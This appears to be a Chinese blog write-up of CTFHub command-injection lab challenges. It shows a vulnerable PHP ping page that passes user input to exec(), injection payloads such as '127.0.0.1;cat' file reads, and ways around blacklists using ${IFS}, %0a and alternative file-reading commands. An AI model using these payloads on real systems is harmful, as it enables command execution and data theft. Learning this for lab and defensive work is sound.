Loading

命令执行合集

知识点:NSLOOKUP命令主要用于查询DNS信息,包括域名的IP地址、DNS服务器信息等。

               PING命令主要用于测试网络连接的可达性和计算到目标主机的往返时间。

两者的恶意注入结构是相似的

简单解释一下

 

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {#判断get传入ip是否为空值

$cmd = "ping -c 4 {$_GET['ip']}";#将ip拼入cmd中,形成ping格式(ping -c 4 +ip

注:4是回显请求的数量)

exec($cmd, $res);#执行ping,并将结果作为数组赋值给$res

}

?>

<!DOCTYPE html>

<html>

<head>

&lt;title&gt;CTFHub 命令注入-无过滤&lt;/title&gt;

</head>

<body>

&lt;h1&gt;CTFHub 命令注入-无过滤&lt;/h1&gt;



&lt;form action="#" method="GET"&gt;

  &lt;label <span style="color: #0000ff;">for</span>="ip"&gt;IP : &lt;/label&gt;&lt;br&gt;

  &lt;input type="text" id="ip" name="ip"&gt;

  &lt;input type="submit" value="Ping"&gt;

&lt;/form&gt;



&lt;hr&gt;



&lt;pre&gt;

  &lt;?<span style="color: #000000;">php

  </span><span style="color: #0000ff;">if</span> (<span style="color: #800080;">$res</span>) {<span style="color: #008000;">#</span><span style="color: #008000;">如果$res存在的话就将其输出(刚开始不是将res赋值了个false嘛,</span>
也就是说如果exec没有正常执行的话,就无法输出)
  </span><span style="color: #008080;">print_r</span>(<span style="color: #800080;">$res</span><span style="color: #000000;">);

  }

  </span>?&gt;

&lt;/pre&gt;



&lt;?<span style="color: #000000;">php

</span><span style="color: #008080;">show_source</span>(<span style="color: #ff00ff;">__FILE__</span><span style="color: #000000;">);

</span>?&gt;

</body>

</html>

 

 

payload:127.0.0.1;cat <文件名>

用ls来查询所有文件

 

f12找flag

过滤cat

一、解题思路

当cat被过滤后,可以使用一下命令进行读取文件的内容

(1)more:一页一页的显示的显示档案内容

(2)less:与more类似,但是比more更好的是,他可以[pg dn][pg up]翻页

(3)head:查看头几行

(4)tac:从最后一行开始显示,可以看出tac是cat的反向显示

(5)tail:查看尾几行

(6)nl:显示的时候,顺便输出行号

(7)od:以二进制的方式读取档案内容

(8)vi:一种编辑器,这个也可以查看

(9)vim:一种编辑器,这个也可以查看

(10)sort:可以查看

(11)uniq:可以查看

(12)file -f:报错出具体的内容

第二个直接改就可以

过滤空格

当空格被过滤后,可以使用一下命令进行读取文件的内容

< <> >重定向符

%09(需要php环境)tab键

%0a(换行符)

${IFS}

$IFS$9

${PATH:0:1}

过滤分隔符

直接写出payload:127.0.0.1;cd flag_is_here;cat flag_31961112137507.php

;可以用& && || | ;%0a代替

也能看出要进行多次注入需要用;分开,一句一句进行。

过滤运算符

不写了,和上面没区别

综合过滤

<?php

 

  $res = FALSE;

 

if (isset($_GET['ip']) && $_GET['ip']) {

  $ip = $_GET['ip'];

  $m = [];

  if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {

    $cmd = "ping -c 4 {$ip}";

    exec($cmd, $res);

  } else {

    $res = $m;

  }

}

  ?>

插一个正则表达式知识点:

1. 正则表达式字符解析

  ○ /:在这个表达式中,它是正则表达式的定界符。正则表达式通常被包含在一对定界符之间,这里使用/作为定界符。

  ○ \:转义字符。在正则表达式中,一些字符有特殊含义(元字符),如果要匹配这些字符本身,就需要用转义字符\。

  ○ |:在正则表达式中,|表示逻辑“或”。在这里,它用于分隔不同的要匹配的字符或字符串,例如(\||&|;| |\/|cat|flag|ctfhub)表示匹配|或者&或者;或者空格或者/或者cat或者flag或者ctfhub中的任意一个。

  ○ &:这是一个要匹配的字符,本身没有特殊的正则表达式含义(因为已经用\转义了可能与它冲突的情况),在这里就是要在目标字符串中匹配&这个字符。

  ○ ;:和&类似,是一个要匹配的普通字符,在目标字符串中匹配;这个字符。

  ○ (空格):要匹配目标字符串中的空格字符。

  ○ \/:因为/是正则表达式的定界符,所以如果要匹配/字符本身,需要用\转义,这里\/就是要匹配/这个字符。

  ○ cat:这是一个字符串字面量,要在目标字符串中匹配cat这个字符串。

  ○ flag:同样是一个字符串字面量,要在目标字符串中匹配flag这个字符串。

  ○ ctfhub:这也是一个字符串字面量,要在目标字符串中匹配ctfhub这个字符串。

  ○ 最后的/:是与开头的/相匹配的定界符,用于结束正则表达式。

  ○ ()用来分组可以改变匹配的顺序

这个题个人认为最难的点是过滤了;和逻辑运算符但上面可以用换行键%0a

 

base64能直接拿到结果

tac则需要去元素里找

323b18bc-4245-4fc2-82d0-55e0bf1ac87c
posted @ 2024-11-12 08:15  huidu01  阅读(28)  评论(0)    收藏  举报  来源
; ;